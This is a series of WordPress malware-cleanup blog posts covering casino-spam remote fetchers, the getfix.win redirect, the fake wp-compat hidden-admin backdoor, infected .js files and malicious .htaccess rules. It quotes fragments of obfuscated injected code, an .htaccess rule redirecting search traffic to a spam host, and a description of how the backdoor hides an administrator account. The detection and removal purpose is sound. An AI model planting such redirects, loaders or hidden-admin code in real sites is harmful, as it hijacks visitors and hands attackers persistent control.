    Casino spam is the variant exploding fastest right now. It’s the one I get the most cleanup requests for in 2025–2026, partly because the spam network behind it is huge and partly because the remote-fetch delivery makes it survive routine scans.

    For the other two variants, see my pharma hack guide and Japanese keyword hack guide.


    Signs your site is infected (3 fast checks)

    Search Console showing hidden link spam indexed pages

    1. Site search reveals pages you didn’t write

    In Google, run:

    site:yourdomain.com slot
    site:yourdomain.com gacor
    site:yourdomain.com mahjong
    site:yourdomain.com judi

    If you see indexed pages for keywords your site shouldn’t rank for — especially with Indonesian or Vietnamese language fragments — you have an injection. Also try site:yourdomain.com viagra and site:yourdomain.com 賭場 to rule out parallel pharma or Chinese-keyword infections.

    2. View-source for off-screen blocks

    Open your homepage, right-click → View Page Source (not “Inspect” — the rendered DOM can hide things), and Ctrl+F for these strings:

    • position:absolute
    • left:-9 (covers -9999px, -989999999999px, etc.)
    • text-indent:-9999
    • visibility:hidden
    • display:none followed by <a> tags
    • font-size:0
    • color:white or color:#fff next to anchor tags

    Any of these next to a block of anchor tags is the smoking gun.

    3. Search Console & security headers

    In Search Console, check Security Issues and Manual Actions. Also pull up PerformanceSearch Results, set the date range to the last 28 days, and sort by Clicks. If you see queries you’ve never targeted (especially gambling-related), the malware has been there long enough to attract impressions.

    For free third-party verification, run Sucuri SiteCheck — it’ll flag the off-screen div pattern and any blacklist hits.

    Sucuri SiteCheck flagging hidden SEO spam links


    How to remove the remote-fetch backdoor (step by step)

    Order matters here. Don’t skip steps — especially the credential rotation. I’ve cleaned a lot of sites where the owner removed the visible code, didn’t change passwords, and got reinfected within 24 hours through the same compromised hosting account.

    Step 1 — Full backup first

    Even on an infected site, take a fresh files-and-database backup before touching anything. If you break something during cleanup you’ll want a restore point. Use UpdraftPlus or All-in-One WP Migration; download the backup off-server.

    Step 2 — Enable maintenance mode

    You don’t want visitors hitting the spam during cleanup. Drop a .maintenance file in the WordPress root or use a maintenance plugin briefly.

    Step 3 — Find and delete the fetcher

    Via SSH or your host’s file manager:

    cd wp-content/themes/[your-active-theme]
    grep -rn "file_get_contents" .
    grep -rn "curl_exec" .
    grep -rn "stream_context_create" .
    grep -rn "fsockopen" .

    Open every match. A legitimate theme almost never makes outbound HTTP requests from footer.php, header.php, or functions.php. If you see those functions in those files, that’s your fetcher. Delete the entire snippet.

    Then check these specific files in order of frequency:

    1. footer.php — my #1 finding (this case)
    2. header.php
    3. functions.php — look for add_action('wp_footer', ...) or add_action('wp_head', ...) hooked to suspicious functions
    4. index.php in theme root
    5. wp-blog-header.php — covered in my wp-blog-header.php regenerate malware case study
    6. Any .php file in wp-content/uploads/ — should never exist

    Step 4 — Hunt the secondary backdoor

    Here’s the part most DIY cleanups miss: the fetcher is rarely the only thing the attacker left behind. Whoever uploaded that snippet had write access to your filesystem — meaning they almost certainly planted a re-entry backdoor too.

    Look for:

    • Recently modified files in the last 30 days: find . -type f -name "*.php" -mtime -30
    • Files with names mimicking core: wp-cache.php, wp-tmp.php, class-wp-config.php (any wp-* file in the wrong directory)
    • PHP files in wp-content/uploads, wp-content/upgrade, or anywhere outside themes/plugins
    • Suspicious functions.php hooks calling eval, assert, create_function, preg_replace with the /e modifier

    If this part feels overwhelming, it’s because backdoors are designed to look benign. My deep-dive on this is in how I found a hidden backdoor in a client’s WordPress site.

    Step 5 — Audit the database

    Even though the spam in this case was rendered from a remote source, attackers often leave a parallel injection in the DB so they have two paths in. Run these queries via phpMyAdmin or WP-CLI:

    SELECT * FROM wp_options WHERE option_value LIKE '%position:absolute%';
    SELECT * FROM wp_options WHERE option_value LIKE '%file_get_contents%';
    SELECT * FROM wp_posts WHERE post_content LIKE '%left:-9%';
    SELECT * FROM wp_users WHERE user_registered > '2024-01-01';

    Any unfamiliar admin users get deleted. Any rows containing off-screen CSS get cleaned manually.

    Step 6 — Update everything, rotate everything

    • WordPress core, all plugins, all themes
    • Delete unused/inactive plugins and themes (every inactive plugin is still attack surface)
    • Replace any nulled plugins with legitimate copies — nulled software is the entry point in roughly 60% of the cases I see (why nulled plugins are dangerous)
    • Rotate: WordPress admin passwords, hosting cPanel password, FTP/SFTP passwords, database password, API keys, and the WordPress salts in wp-config.php
    • Force-logout all sessions (Users → All Users → Log Out Everywhere Else for each admin)
    • Enable 2FA on every admin account

    Step 7 — Clean the search index

    Even after the malware is gone, Google will keep showing the spam pages until it re-crawls. Speed that up:

    • In Search Console, submit a fresh sitemap.
    • Use the URL Inspection Tool to request reindexing of your most important pages.
    • For spam URLs that point to pages that don’t exist on your site, use the Removals tool to temporarily hide them.
    • If you have a manual action, request a review and explain in 2–3 sentences exactly what you removed.

    For large-scale cleanup of indexed spam pages, see my case study on removing 50,000 spam URLs from Google after a keyword hack.


    Hardening (so this doesn’t come back)

    The single most-asked question after a cleanup is “why did this happen?” Honest answer from 4,500+ cleanups: it’s almost always one of four things — outdated software, nulled plugins, weak admin passwords, or a compromised shared-hosting neighbor. Fixing those four covers most reinfection cases.

    Block PHP execution in uploads. Add this to wp-content/uploads/.htaccess:

    <Files *.php>
        deny from all
    </Files>

    Disable file editing from wp-admin. Even if an attacker gets a low-level admin login, they can’t edit theme files in the dashboard:

    // wp-config.php
    define('DISALLOW_FILE_EDIT', true);
    define('DISALLOW_FILE_MODS', true);

    Force HTTPS-only admin and 2FA on all admin accounts. Wordfence, MiniOrange, or Solid Security all do this in two clicks.

    File integrity monitoring. Wordfence sends you an email any time a core or theme file changes. With remote-fetch malware, this is the fastest detection method — the moment footer.php changes outside of an update, you get a warning.

    Weekly five-minute audit. Every Monday, run site:yourdomain.com slot, site:yourdomain.com viagra, and site:yourdomain.com 賭場 in Google. If they return zero results, you’re clean. This is the cheapest early-warning system that exists. More on long-term defense in why WordPress malware keeps coming back.


    The infrastructure behind casino spam (brief threat intel)

    The C2 domain in this incident (nawalaku[.]my[.]id) is part of a larger Indonesian gambling-affiliate spam network. According to multiple Indonesian government and security sources, this network has compromised hundreds of legitimate .go.id (government), .ac.id (academic), and .mil.id (military) domains in Indonesia, plus thousands of small WordPress sites globally that act as either content hosts or remote-fetch nodes. Indonesian authorities reported handling 683 such compromised institutional domains by late 2023, with the count rising into the millions of indexed spam pages by 2024.

    What this means for you: if your remote-fetch URL points to a .my.id, .go.id, .ac.id, .id, or generic-looking Indonesian domain, you’re looking at the same family. The fix above works for all variants — only the C2 URL changes.


    FAQs

    Is this the same as the pharma hack?
    No. The pharma hack typically uses cloaking (showing different content to Googlebot vs. real users) and lives in wp_options or modified plugin files. Casino/slot spam in 2025 uses remote-fetch delivery from footer.php and shows the same off-screen content to everyone — bots and humans alike, with humans just not seeing it visually.

    I deleted the spam links in the rendered HTML, but they came back. Why?
    Because you deleted the output, not the source. The fetcher inside footer.php regenerates the spam list on every page load. You have to find and delete the PHP snippet, not the HTML it prints.

    Will my Google rankings recover?
    Usually, yes — but not instantly. Once the malware is gone and you’ve requested reindexing, expect 2–6 weeks for Google to drop the spam pages and partially restore your rankings. Sites that had a manual action take longer because a human reviewer has to approve the reconsideration request. I documented one such recovery in recovering from SEO spam: 242,000 spam pages cleared.

    Can a free Wordfence scan find this?
    Sometimes. Wordfence’s signature database catches the most common remote-fetch patterns, but a custom variant with an unfamiliar C2 URL can slip through. The view-source check (Step 2 above) is more reliable than any single scanner.

    Do I have to switch hosts?
    Not necessarily. But if your hosting account is on shared hosting and you’ve been hacked twice on the same plan, the entry point may be a neighbor on the same server, not your site. In that case, moving to a hardened managed-WordPress host (SiteGround, Kinsta, WP Engine) is the single biggest reinfection-prevention step you can take. My breakdown is in my SiteGround review after 4,500 cleanups.

    What if I find the same fetcher in functions.php, not footer.php?
    Same removal process — just be more careful. functions.php often legitimately contains hooks and filters, so don’t bulk-delete the file. Open it, find the snippet that calls file_get_contents or curl_exec to a non-WordPress domain, and delete only that block.


    Post-cleanup checklist

    Once the fetcher is removed and credentials rotated, walk through my post-cleanup checklist from real cleanups — it covers the things people typically forget (transients, wp-cron, abandoned hosting accounts, leaked API keys) that cause the same site to get reinfected three weeks later.


    Conclusion

    Hidden links malware in 2025–2026 isn’t the same problem it was three years ago. The hard-coded link blocks that older guides describe are now the minority of cases. What I’m cleaning today is overwhelmingly the remote-fetch backdoor family — small, signature-light PHP snippets in footer.php that pull casino, slot, and gambling spam from external C2 servers on every page load.

    The cleanup is straightforward once you know what you’re looking for: find the fetcher, kill it, hunt the secondary backdoor, rotate every credential, harden the entry points, and request reindexing. The hard part is being thorough enough that the site stays clean — and that’s where most DIY cleanups fall short.

    Need it cleaned today? I’ve removed this exact malware family from hundreds of sites. WordPress malware removal — same-day turnaround, fixed price, with a 30-day reinfection guarantee. If you’re already on a Google blacklist, see my Google blacklist removal service. Or just hire me directly and we’ll get on a call.

  • Website Redirecting to getfix[.]win: How to Detect, Remove, and Prevent This Malware

    Website Redirecting to getfix[.]win: How to Detect, Remove, and Prevent This Malware

    Quick Answer: What is the Getfix.win Hack?

    The getfix.win/jsrepo malware is a JavaScript injection that redirects your visitors to spam sites. It hides in your theme’s functions.php file using “Hex Encoding” to look like random numbers.

    How to Remove It:

    1. Locate: Open functions.php and look for a line starting with $url = "\x68\x74...".
    2. Delete: Remove that specific line of code.
    3. Scan: Run a Wordfence scan to find any other hidden backdoors.
    4. Update: Update all plugins immediately, as this hack usually enters via outdated software.

    If your website keeps redirecting to hxxps:, it has been hit by a specific type of WordPress malware. This hack is currently targeting thousands of sites, messing up SEO, and scaring away visitors.

    I recently worked on a client’s site and found this exact malware hiding in their theme’s functions.php file. In this guide, I will show you exactly what this code looks like, how to decode it, and how to clean it up permanently.


    What Is the Getfix.win Redirect Malware?

    The getfix.win/jsrepo redirect hack sneaks code into your WordPress files. It makes visitors’ browsers fetch a malicious script from getfix.win, which then redirects them to junk sites, gambling ads, or tech support scams.

    The Sneaky Part: This malware often targets visitors, not admins. If you are logged in as an Administrator, you might not see the redirect at all. This tricks you into thinking your site is fine while your customers are being sent to spam sites.


    Breaking Down the Malicious Code (Developer Analysis)

    The malware uses clever tricks to hide itself. I decoded the exact script I found on my client’s site so you know what to look for.

    1. The PHP Injection (functions.php)

    In the functions.php file (see screenshot below), the hacker injects a line of code that looks like this:

    $url = "" . time() . '_' . rand(1000, 9999);

    Obfuscated PHP code injected into WordPress functions.php file causing getfix.win redirect

    This is called Hex Encoding. The hacker converts text into hexadecimal numbers (e.g., \x68 = h) so security scanners don’t see the word “getfix.win”.

    Decoded, that line actually says:

    $url = "https:?rnd=[Time]_[RandomNumber]";

    Why the random numbers?
    The code adds ?rnd=1730700000_1234 to the end of the URL. This trick forces the browser to download a fresh copy of the virus every time, bypassing any caching plugins or firewalls you might have.

    2. The JavaScript Injection

    Once the PHP code runs, it injects a JavaScript snippet into your site’s header:

    Malicious JavaScript injection code found in WordPress header source

    <script>
    ;!function t(){var e="https:?rnd="+Math.random()+"&ts="+Date.now();
    // ... code that fetches the virus ...
    </script>

    This script connects to the hacker’s server and downloads the actual “Payload”—the code that redirects your users.


    How to Remove the Malware (Step-by-Step)

    Removing this specific infection is straightforward if you follow these steps carefully.

    Step 1: Check your functions.php file

    1. Log into your hosting via FTP or File Manager.
    2. Navigate to wp-content/themes/your-active-theme/.
    3. Open the functions.php file.
    4. Look for the code starting with $url = "\x68... or similar hex characters.
    5. Delete that entire code block.

    Note: Sometimes this code is also hidden in header.php or footer.php. Check those too.

    Step 2: Run a Deep Scan

    Deleting the line stops the redirect, but you need to find the “Backdoor” the hacker used to get in. Install Wordfence or MalCare and run a full scan to find hidden files.

    Step 3: Update Everything

    This specific malware usually spreads through outdated plugins or “nulled” (pirated) themes. Update all your plugins immediately. If you are using a nulled theme, delete it—it is the source of the infection.


    Prevention: How to Stop It From Coming Back

    Once you are clean, lock the door:

    • Change Passwords: Change your WP Admin, FTP, and Database passwords immediately.
    • Disable File Editing: Add define('DISALLOW_FILE_EDIT', true); to your wp-config.php file. This stops hackers from editing your functions.php file from the dashboard.
    • Install a Firewall: Use the free version of Wordfence or Cloudflare to block bad bots.

    Need Help?

    If you are uncomfortable editing PHP files or if the redirect keeps coming back after you delete it, you might have a deeper infection (like a hidden database backdoor).

    I offer a professional WordPress Malware Removal Service. I will manually clean your files, remove the backdoors, and secure your site against future attacks.

    👉 Click here to get your site fixed today.

  • WP Compatibility Patch (wp-compat.php): Find and Remove the adminbackup Backdoor

    WP Compatibility Patch (wp-compat.php): Find and Remove the adminbackup Backdoor

    Quick answer: “WP Compatibility Patch” (file path wp-content/plugins/wp-compat/wp-compat.php) is not a real plugin. It is a WordPress backdoor that secretly creates a hidden administrator named adminbackup (adminbackup@wordpress.org) and hides it from your Users screen. To remove it you must delete the plugin folder and the _pre_user_id entry in wp_options, then delete the hidden admin user. Deleting the plugin folder alone lets it regenerate.

    If you found a plugin called WP Compatibility Patch in your dashboard, or a folder named wp-compat in your files, your WordPress site has been compromised. The plugin claims to fix compatibility problems between WordPress and PHP. It does nothing of the sort. Its only job is to keep a hidden administrator account alive so an attacker can return whenever they want.

    This is not a theoretical risk. The fake plugin was publicly documented by security researchers in July 2025, and I have removed this exact backdoor from client sites during cleanups. Below is everything you need to identify it, confirm the infection, and remove it for good — including the parts that survive a normal cleanup.

    WP Compatibility Patch (wp-compat.php): indicators of compromise

    If any of the following appear on your site, treat it as a confirmed infection. These are the fingerprints of the wp-compat backdoor:

    Indicator Value
    Plugin name (fake) WP Compatibility Patch
    Folder / file /wp-content/plugins/wp-compat/wp-compat.php
    Fake author WP Core Contributors
    Fake description “Fixes minor compatibility issues with the latest WordPress and PHP versions”
    Hidden admin username adminbackup (aliases seen: support_user, wp-core, wp-support)
    Hidden admin email adminbackup@wordpress.org
    Password Randomized per infection (different on every site)
    Database persistence _pre_user_id option in the wp_options table
    Bootstrap function wpc_patch_bootstrap()
    Cloaking hook pre_user_query (removes the hidden ID from the user list)
    Attacker probe cookie WORDPRESS_ADMIN_USER
    Type Fake plugin / persistent administrator backdoor
    Severity Critical — full site compromise
    First publicly documented July 2025

    WP Compatibility Patch fake plugin by WP Core Contributors shown in the WordPress plugins folder

    What is WP Compatibility Patch, and how does it work?

    The wp-compat plugin is malware that disguises itself as official WordPress tooling. It borrows a believable name and the author label “WP Core Contributors” so that a quick glance at your plugins list reads as harmless maintenance code. There is no such plugin in the official WordPress.org repository.

    Once an attacker uploads it, the plugin runs a small routine (the wpc_patch_bootstrap function) on every page load. That single function is what makes this backdoor so persistent and so hard to spot.

    It creates a hidden administrator on every page load

    The plugin checks whether an administrator named adminbackup exists. If it does not, it recreates the account using WordPress’s own wp_insert_user() function, assigns the administrator role, and sets the email to adminbackup@wordpress.org. Because the check fires on every request, deleting the user from your dashboard does nothing — the next visitor to your homepage brings it straight back.

    WordPress code creating a hidden adminbackup administrator account and storing its ID in the database

    It hides the account from you

    After creating the admin, the plugin hooks into pre_user_query — the filter WordPress runs before listing users — and rewrites the SQL so the hidden account is excluded from the results. The effect is unsettling: your Users screen looks normal, the total user count is adjusted down by one to match, and if you somehow locate the account and try to delete it, WordPress returns “Invalid user ID.” The plugin also strips itself from the plugins list, so it can be active while appearing absent.

    It survives password resets and re-scans

    The attacker’s user ID is stored in the database as a _pre_user_id entry in the wp_options table. That single row is the anchor for the whole backdoor. Changing every password, deleting suspicious files, and running a security scan will not dislodge it, because the plugin keeps reading that ID to rebuild and re-hide the account. This is why so many owners “clean” the site and find the backdoor again within hours.

    A built-in way for the attacker to check on it

    The malware also watches for a special request cookie named WORDPRESS_ADMIN_USER. When it sees that cookie, it confirms the backdoor is still alive. This lets the attacker probe hundreds of infected sites quickly without ever logging in.

    The same payload also hides inside functions.php

    The wp-compat plugin is the standalone form of this backdoor, but the identical adminbackup payload is frequently injected directly into a theme’s functions.php instead of shipping as a separate plugin. The behaviour is the same — hidden admin, _pre_user_id, user-list cloaking — but there is no plugin folder to find. If you do not see a wp-compat folder but the symptoms match, read my breakdown of the functions.php variant of the adminbackup hidden-admin hack, which walks through removing the cloaking code first so the account becomes visible.

    How to find wp-compat and the adminbackup admin on your site

    Because the account is cloaked inside the WordPress admin interface, the dashboard is the worst place to look. The cloaking hook only fires in an admin context, so the most reliable checks bypass the interface entirely — via SSH, WP-CLI, or direct database queries.

    1. Check the files

    ls -la wp-content/plugins/ | grep -i compat
    find wp-content/plugins/ -name "wp-compat.php"

    Then grep the whole content directory for the malware’s signatures — this also catches copies hidden outside the obvious folder:

    grep -rl "wpc_patch_bootstrap" wp-content/
    grep -rli "WP Core Contributors" wp-content/
    grep -rl "_pre_user_id" wp-content/
    grep -rl "WORDPRESS_ADMIN_USER" wp-content/

    2. Check the database

    In phpMyAdmin or the MySQL CLI, look for the persistence row and the hidden user (adjust the wp_ prefix to match your install):

    SELECT * FROM wp_options WHERE option_name = '_pre_user_id';
    
    SELECT ID, user_login, user_email, user_registered
    FROM wp_users
    WHERE user_login = 'adminbackup'
       OR user_email LIKE '%@wordpress.org';

    3. Check users the right way (with WP-CLI)

    Because WP-CLI runs outside the admin context, the cloaking hook does not apply — so a CLI listing reveals the account the dashboard hides:

    wp user list --role=administrator --fields=ID,user_login,user_email
    wp option get _pre_user_id

    If wp user list shows an adminbackup account that never appears in wp-admin, you have positively confirmed the infection.

    Related fake-plugin and hidden-admin variants

    The wp-compat backdoor is one product of an organized campaign that ships interchangeable fake plugins. If you found wp-compat, scan for these siblings too, because the same actor often drops more than one:

    • DebugMaster Pro, wp-performance-booster.php, and WP-antymalwary-bot.php — fake maintenance/optimization plugins
    • WP-Security (claims the “WordPress Security Team” as author) and fake “Classic” or LiteSpeed Cacher clones
    • Hidden admin aliases beyond adminbackup: support_user, wp-core, wp-support

    For a fuller reference, see my list of known fake and malicious WordPress plugins and the in-depth technical review of this hidden-admin backdoor.

    How to remove the WP Compatibility Patch backdoor

    Order matters here. Remove the database anchor and the user first, then the files — otherwise the plugin recreates the account between steps.

    1. Take a forensic backup of files and database first, so you can investigate the entry point later (not to restore the infection).
    2. Delete the persistence row: DELETE FROM wp_options WHERE option_name = '_pre_user_id'; (or wp option delete _pre_user_id).
    3. Delete the hidden admin by ID via WP-CLI (wp user delete <ID>) or by removing its rows from wp_users and wp_usermeta.
    4. Delete the plugin folder /wp-content/plugins/wp-compat/ entirely, plus any sibling fake plugins you found.
    5. Find how it got in. Inspect wp-config.php, the mu-plugins folder, /uploads/, theme functions.php, and recently modified files. A standalone fake plugin almost always means a dropper or a compromised credential exists somewhere else.
    6. Rotate every credential: all admin users, database, FTP/SFTP, hosting panel, and the secret keys/salts in wp-config.php.

    If you only delete the folder and skip the database row, the backdoor comes back — this is the single most common reason a cleanup fails. I explain the mechanics of that in why WordPress malware keeps coming back. For the complete, step-by-step infection cleanup, follow my WordPress malware removal process.

    How the plugin got onto your site — and how to keep it out

    The wp-compat plugin cannot install itself; an attacker uploads it after gaining access. In the cleanups I have done, the entry point is almost always one of three things: a weak or reused administrator password, an outdated plugin or theme with a known vulnerability, or stolen FTP/SFTP/hosting credentials. Close those doors and this backdoor has nowhere to come from. At minimum, enforce strong unique passwords with two-factor authentication, keep everything updated, and remove plugins and themes you no longer use. My guide to securing your WordPress login covers the highest-impact hardening steps.

    When to bring in help

    This backdoor is recoverable on your own if you are comfortable with SSH and SQL. But if the hidden admin keeps returning, if you found multiple fake plugins, or if the site is also showing spam or redirects, that usually means a deeper dropper is still active. I have cleaned more than 4,500 hacked WordPress sites, including persistent, self-regenerating backdoors like this one — see, for example, this case study on a regenerating malware infection. If you would rather have it handled end to end, you can hire me to remove it.

    Frequently asked questions

    Is “WP Compatibility Patch” a real WordPress plugin?

    No. It does not exist in the official WordPress.org plugin repository, and its author label “WP Core Contributors” is fake. It is malware that creates a hidden administrator account and gives an attacker a persistent backdoor into your site.

    What is wp-compat.php?

    It is the main file of the fake WP Compatibility Patch plugin, found at /wp-content/plugins/wp-compat/wp-compat.php. It creates and conceals an “adminbackup” administrator and stores that account’s ID in the _pre_user_id option so the backdoor survives normal cleanups.

    Why does the adminbackup admin user keep coming back after I delete it?

    Because the plugin recreates it on every page load and tracks it through the _pre_user_id row in wp_options. You have to remove the plugin files and that database row together, delete the user, then find the entry point. Deleting only one piece guarantees it returns.

    Is adminbackup@wordpress.org an official WordPress email address?

    No. WordPress.org never creates user accounts on your website. The address is hard-coded by the malware purely to look legitimate. Any administrator using that email is a backdoor and should be removed immediately.

    Will Wordfence or Sucuri detect WP Compatibility Patch?

    A scan may flag the plugin files, but the hidden user and the _pre_user_id row can survive a basic cleanup because the malware cloaks them inside the dashboard. Always verify removal through WP-CLI or direct SQL, not just by looking at your Users screen.


    Last updated: May 31, 2026 by MD Pabel, WordPress Security Specialist — 4,500+ hacked sites cleaned.

  • All JavaScript (.js) Files Infected? A Step-by-Step Virus Removal Guide

    All JavaScript (.js) Files Infected? A Step-by-Step Virus Removal Guide

    Finding your website suddenly redirecting to spammy pages or acting strangely is a horrible feeling. If you’ve dug into your site’s files, you may have been shocked to find that all your JavaScript (.js) files are infected with a large, confusing block of malicious code.

    A very common infection looks something like this, often at the very top of the file:

    ;if(typeof uqvq==="undefined"){function a0M(){var r=['WQhdRSkK','D8keba',...
    // ... a very long block of obfuscated code ...
    ...function G(j,E){var S=P;return j[S(0x219,'j%PW')+S(0x23a,'e@Bi')+'f'](E)!==-(0x19b+-0x116d+0xfd3);}}());};

    This specific malware (which we can identify by the if(typeof uqvq==="undefined") check) is designed to redirect your visitors, steal information, or inject more malware.

    The good news is that because the exact same code is injected into every file, we can use a powerful code editor like Visual Studio Code (VS Code) to perform a “Find and Replace” across your entire website in one go.

    ⚠️ Important Disclaimer: This method cleans the symptom (the malicious code) but not the cause (the security vulnerability). Your site is likely to be reinfected quickly if you don’t take further steps. This is an emergency cleanup, not a permanent fix.

    If you’re not comfortable doing this yourself, or if you want a professional to find the root cause and harden your site, I offer a comprehensive WordPress Malware Removal Service to get your site clean and secure.


    Step-by-Step Guide to Removing the Malware

    Follow these steps precisely to clean your files.

    Step 1: Backup, Replace Core Files & Get a Local Copy to Clean

    Before you make any changes, your first step is to get a complete backup. This is your safety net. After that, we’ll replace the main WordPress files and download your wp-content folder to clean them locally.

    1. ⚠️ Take a Full Backup: Log into your hosting control panel (like cPanel, Plesk, or your host’s custom panel) and use the backup tool to generate a full backup of your entire site (both files and the database). Download this backup file to your computer and keep it somewhere safe. Do not skip this step!
    2. Replace WordPress Core Files: First, log in to your server. Following this guide, replace your wp-admin and wp-includes folders with fresh, clean copies from a new WordPress download. Do not delete your wp-content folder and wp-config.php file.
    3. Connect to Your Site: Use an FTP/SFTP client (like FileZilla) or your hosting panel’s (cPanel) File Manager to access your server’s files.
    4. Download Your Files:
      • For WordPress Sites: Download your entire wp-content directory to a folder on your computer.
      • For Other Sites (Node.js, etc.): If your site isn’t WordPress, it’s best to download the entire website. To speed this up, use your hosting File Manager to compress the whole site into a .zip file, download that single file, and then uncompress it on your computer.

    Step 2: Open Your Website Folder in VS Code

    If you don’t have it, download VS Code for free. This tool will let us edit all the files at once.

    1. Open VS Code.
    2. Go to File > Open Folder…
    3. Select the folder you just downloaded (e.g., the wp-content folder or your full site folder). You’ll see your site’s file structure in the “Explorer” panel on the left.

    Step 3: Find the Exact Malicious Code

    First, we need to get a perfect copy of the malware string.

    1. In the VS Code Explorer, find any infected .js file (e.g., inside wp-content/plugins/.../assets/js/).
    2. Click to open it.
    3. Carefully select the entire block of malicious code. Start from the very first character (often a semicolon ;) right before if(typeof uqvq... and select all the way down to the final }; at the end of the block.
    4. Copy this entire block to your clipboard (Ctrl+C or Cmd+C).

    Step 4: Use “Find and Replace in Files”

    This is the most critical step.

    1. Click the Search icon in the left-hand sidebar (or press Ctrl+Shift+F on Windows/Linux, Cmd+Shift+F on Mac).
    2. This opens the “Search” panel with two boxes: “Find” and “Replace.”
    3. In the “Find” box: Paste the entire malicious code block you just copied. It will be very long and may wrap around multiple lines. That’s fine.
    4. In the “Replace” box: Leave this completely empty. We want to replace the malware with nothing.
    5. Just above the “Replace” box, make sure the file filter is set to include .js files. You can type *.js into the “files to include” box to be extra sure you’re only targeting JavaScript files.
    6. Double-check your “Find” box to ensure you copied the entire string.

    Step 5: Replace All

    1. Click the “Replace All” icon (it looks like a small box with an arrow pointing to another box, located to the right of the “Replace” field).
    2. VS Code will ask you to confirm. Click “Replace”.
    3. VS Code will now go through every single file in your project, find that exact block of malware, and delete it. This may take a few seconds to a minute, depending on the size of your site.


    You’re Not Done! What to Do Immediately After

    You’ve cleaned the files, but the “hacker’s backdoor” is still open. You must do the following, or the malware will return.

      1. Re-upload Your Clean Files: Delete the infected wp-content folder on your server and upload your newly cleaned wp-content folder via FTP/SFTP.
      2. Change ALL Passwords: This is not optional.
        • WordPress Admin (all users)
        • cPanel / Hosting Account
        • FTP/SFTP Accounts
      3. Update Everything: Outdated software is the #1 way hackers get in.
        • Update WordPress Core.
        • Update ALL plugins.
        • Update ALL themes.
      4. Install a Security Plugin:
        • Install a plugin like Wordfence or Sitecheck Sucuri.
        • Run a full, high-sensitivity scan. It will check your core files and look for other backdoors you may have missed.
      5. Remove Unused Plugins/Themes: If you’re not using it, delete it. Every inactive plugin is a potential security risk.
      6. Check User Accounts: In your WordPress dashboard, go to “Users.” Look for any new admin accounts you didn’t create and delete them immediately.

    Overwhelmed? Let a Professional Handle It.

    This DIY guide can save you in an emergency, but a true malware infection runs deep. If the malware returns, or you’re worried you missed a backdoor, it’s best to get professional help.

    I specialize in WordPress Virus Removal and site hardening. I’ll clean your site thoroughly, find the vulnerability that allowed the hacker in, and secure your website to prevent future attacks.

    Click here to learn more about my WordPress Malware Removal Service and get your site cleaned today.

  • .htaccess Malware: How Hackers Hide Redirects and How to Remove Them Fast

    .htaccess Malware: How Hackers Hide Redirects and How to Remove Them Fast

    Deep within your website’s files, there’s a small but incredibly powerful text file called .htaccess. Think of it as the silent gatekeeper for your website. It controls who can enter, where they can go, and what they see. This file is essential for your site’s performance and security, but because it holds so much power, it’s a prime target for hackers.

    When a hacker gets control of your .htaccess file, they can cause serious damage. They can steal your traffic, harm your reputation, or, in some cases, shut your website down completely. Often, website owners don’t even know they’ve been hacked until their site stops working.

    One code snippet you might find scattered across your website’s directories looks like this:

    <FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
    Order allow,deny
    Deny from all
    </FilesMatch>
    

    Screenshot of .htaccess FilesMatch code snippet

    Seeing this code can be confusing. Is it a good security measure or is it malware? The answer depends entirely on the context. This guide will explain how hackers turn “good” code into a weapon, how to detect it with the Wordfence High Sensitivity scan, and how to keep your website safe.


    Key Takeaways for Busy Site Owners

    • The .htaccess File is Powerful: It’s a server configuration file that can set security rules for your website.
    • Hackers Love to Abuse It: Attackers modify this file to redirect traffic, inject spam, or completely disable your site.
    • Context is Crucial: Code that looks defensive can be malicious. Hackers often place .htaccess files with rules that block PHP from running, which breaks your entire WordPress site and locks you out.
    • Detection is Tricky: Manually finding hundreds of malicious .htaccess files is nearly impossible. A dedicated security scanner is your best tool.
    • Wordfence is Your Ally: The Wordfence “High Sensitivity” scan is designed to find these hidden threats by comparing your files against clean, official versions.
    • Prevention is Key: Regular scans, strong passwords, and keeping your website updated are the best ways to prevent .htaccess attacks.

    Good Code, Bad Intentions: The Malicious .htaccess Lockdown

    Let’s re-examine the code snippet from the beginning. At first glance, it looks like a smart security rule. It tells the server to block web access to any file ending in .php, .exe, etc. In a very specific context—like inside an /uploads folder—a web developer might add this rule to prevent malicious scripts from being executed.

    However, you’ve likely encountered a far more destructive use of this code.

    When hackers compromise a site, they often use automated scripts to place this exact .htaccess file in every single directory and subdirectory of your website. Because your WordPress site is built on PHP, this action tells the server, “Do not run the code that makes this website function.”

    The result is catastrophic:

    • Your entire website goes down, often showing a blank page or a “500/403 Internal Server Error.”
    • You are locked out of your own WordPress admin dashboard (/wp-admin/).
    • Your visitors cannot access your site.

    This is a “scorched-earth” tactic. The hacker isn’t trying to redirect your traffic for profit; they are trying to cause maximum disruption, either to cover their tracks after stealing data or to simply sabotage your site.

    So, while the code itself isn’t inherently malicious, its placement and duplication across your entire site is a clear sign of a hack.

    Other Common .htaccess Attacks

    1. The Malicious Redirect

    This is the most common hack. The attacker inserts rules that secretly send your visitors—especially those from Google—to spam, scam, or phishing sites.

    Example of malicious redirect code:

    RewriteEngine On
    RewriteCond %{HTTP_REFERER} .*google.* [OR]
    RewriteCond %{HTTP_USER_AGENT} .*googlebot.* [OR]
    RewriteRule ^(.*)$ http://malicious-spam-website.com/spam.php [R=301,L]
    

    This code hijacks your SEO traffic, damaging your rankings and user trust.

    2. Content Injection and Spam

    Hackers can use .htaccess to automatically insert spammy links or ads into your pages. This can get your site flagged by Google for hosting spam.

    3. Blocking Legitimate Access

    A hacker might block your IP address from the WordPress admin area while leaving it open for themselves. They may also block the IPs of security companies to prevent scanners from detecting them.


    The Best Defense: Detecting Malware with a Wordfence High Sensitivity Scan

    Because hackers are good at hiding their tracks—especially when they’ve created thousands of malicious files—manually cleaning a site is a nightmare. You need an automated tool that knows what to look for. This is where the Wordfence security plugin is invaluable.

    For threats hidden in core files or spread across hundreds of directories, you need Wordfence’s most powerful tool: the High Sensitivity scan.

    What Makes the “High Sensitivity” Scan So Powerful?

    Think of a standard scan as a security guard patrolling the main hallways. A High Sensitivity scan is like a forensic team that inspects every single room, dusts for fingerprints, and checks under the floorboards. 🕵️

    When you enable High Sensitivity mode, Wordfence performs several deep checks:

    • Core File Integrity Check: It downloads fresh copies of every WordPress core file from WordPress.org and compares them to the files on your server. If your root .htaccess file has been modified, this check will spot it immediately.
    • Plugin & Theme File Check: It does the same integrity check for every plugin and theme from the official WordPress repository.
    • Deep Signature Scanning: It checks every file on your server against a massive database of known malware signatures. This is crucial for detecting known redirect code and other malicious patterns.
